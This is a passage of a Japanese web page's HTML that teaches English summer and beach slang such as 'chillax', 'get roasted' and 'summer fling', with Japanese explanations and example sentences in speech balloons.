<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d7fee9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d7fee9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Enjoy water sports under the sun to the max! Let’s seas the day!</strong><br>太陽の下でマリンスポーツを思い切り楽しもう！夏を満喫しよう！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Chillax on the Beach</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>Chillax on the Beach</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">ビーチでリラックスして過ごす<br />Chillaxはchill outとrelaxを組み合わせた「まったりくつろいでいる」という意味の造語</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff9e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff9e9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s chillax on the beach after dinner!</strong><br>ディナーの後、ビーチでまったりしようよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Get roasted</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>Get roasted</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">日焼けする</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m gonna get roasted under the sun!</strong><br>今年の夏は真っ黒に日焼けするんだ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Sandy Toes, Sun-Kissed Nose</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">Sandy toes, sun-kissed nose</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">砂まみれの足、太陽にキスされた鼻<br />Sandy toes は、砂浜を歩いて砂まみれになった足。Sun-kissed noseは、直訳すると「太陽にキスされた鼻」ですが、「日焼けした鼻」を指します。ビーチライフを満喫する様子を表現する際によく使用されるフレーズ</td>
</tr>
</tbody>
</table>


<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-vivid-green-cyan-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-vivid-green-cyan-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-vivid-green-cyan-color"></span>
<p><strong>Erika posted pics of the beach party on Instagram with #sandytoessunkissednose</strong><br>エリカがビーチパーティの写真に#sandytoessunkissednoseって添えてインスタに投稿してるよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Island Days, Island Ways…Surf, Sand, &amp; Sunny Rays</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>Island Days, Island Ways…Surf, Sand, &amp; Sunny Rays</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">島のリラックスした日々、サーフィン、砂浜、そして太陽の光<br />アメリカ東海岸やハワイなどでの理想的な夏の過ごし方</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe7d7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe7d7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Welcome to Nantucket! Island days, Island ways. Get caught up in the surf, sand, and sun rays…and escape to our island paradise!!</strong><br>ナンタケット島へようこそ！リラックした島の日々。サーフィン、砂浜、そして太陽に心奪われ…楽園の島へエスケープしましょう！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Good Times &amp; Tan Lines</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>Good Times &amp; Tan Lines</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">Good timesは、楽しい時間。tan linesは、日焼け跡という意味<br />夏にビーチなどで楽しい時間を過ごしたという際に使用</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0f4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff0f4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>When you see a tan line, then that means you are having a good time!</strong><br>日焼け跡が現れたら、きっと楽しい時間を過ごしている証拠！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Beach More. Worry Less</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 62px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 41px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 41px; vertical-align: middle;"><strong>Beach More. Worry Less.</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 21px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 21px; vertical-align: middle;">もっとビーチで楽しめば心配もなくなる<br />ビーチ＝楽しいこと、心配事＝楽しくないこと、そして、もっとを意味するmore（ポジティブ要素でさらに楽しさを強調）とless（ネガティブ要素で楽しくないことを否定）という相反するを比較級をうまく使用し、総じてポジティブな意味を導き出す掛詞</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9f0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9f0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Life is stressful! It’s about time for BEACH MORE and WORRY LESS!</strong><br>人生はストレスだらけ！そろそろビーチで心配事を忘れる時間だよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Life is Better in Flip Flops</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>life is better in flip flops</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">ビーチサンダルを履いていれば人生はもっと楽しくなる<br />夏のビーチや避暑地で自由に楽しくリラックスした時間を過ごす際に使用</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#efeaff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #efeaff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Hey! It’s summer. Take off your heavy leather shoes. Life is better in flip flops!</strong><br>夏だよ！重たい革靴なんて脱いじゃって。ビーサン履いたほうが楽しいよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Summer Fling</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>summer fling</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">夏の旅先やイベントで知り合った人とのひと夏の恋</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fbf7e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fbf7e9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I heard Kazuki was tricked into a summer fling.</strong><br>カズキがひと夏の恋のカモにされたって聞いたよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f8e7e7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f8e7e7"></span><span class="vk_balloon_content_after "></span>
<p><strong>Eriko had a summer fling with a guy from summer camp.</strong><br>エリコは、サマーキャンプで会った男の子とひと夏の恋をしたんだって</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff1e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff1e8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I had the most unforgettable summer fling during vacay in Italy.</strong><br>イタリアで休暇中に忘れられないひと夏の恋をしたのよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Hot Girl Summer</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>hot girl summer</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">自分らしく思い切り楽しむ夏、イケイケな夏、モテ女の夏<br />ミーガン・ジー・スタリオンのヒット曲『<a href="https://youtu.be/FbcLcSY2au4?si=vjh3CiVX57vtuT-p" target="_blank" rel="noopener"><span style="background-color: #f2b3b3;"><strong>Hot Girl Summer</strong></span></a>』に登場するフレーズ。自分らしく思い切り楽しむ女子の夏というイメージで</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_1-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3f3fb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3f3fb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Hot Girl Summer so you know she got it lit.</strong><br>ホット ガール サマー、だから彼女は最高にイケてるんだ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Catch Some Waves</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>catch some waves</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">サーフィンを楽しむ、波に乗るという意味のスラング</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Let’s go catching some waves!</strong><br>サーフィンしに行こうぜ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Summer Star</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 48px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 25px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 25px; vertical-align: middle;"><strong>summer star</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">夏のスター。魅力的な人、輝いている人を褒める表現</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e8fdf4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e8fdf4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>You are absolutely a summer star, babe!</strong><br>君って夏に輝くスターだね、ベイビー！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Live for Summer</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>live for summer</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">全部忘れて夏を満喫しよう！</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d3eaf8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d3eaf8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>You know what? Forget about everything and live for summer!</strong><br>全部忘れて夏を満喫しよう！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Stay Beachy</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>stay beachy</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
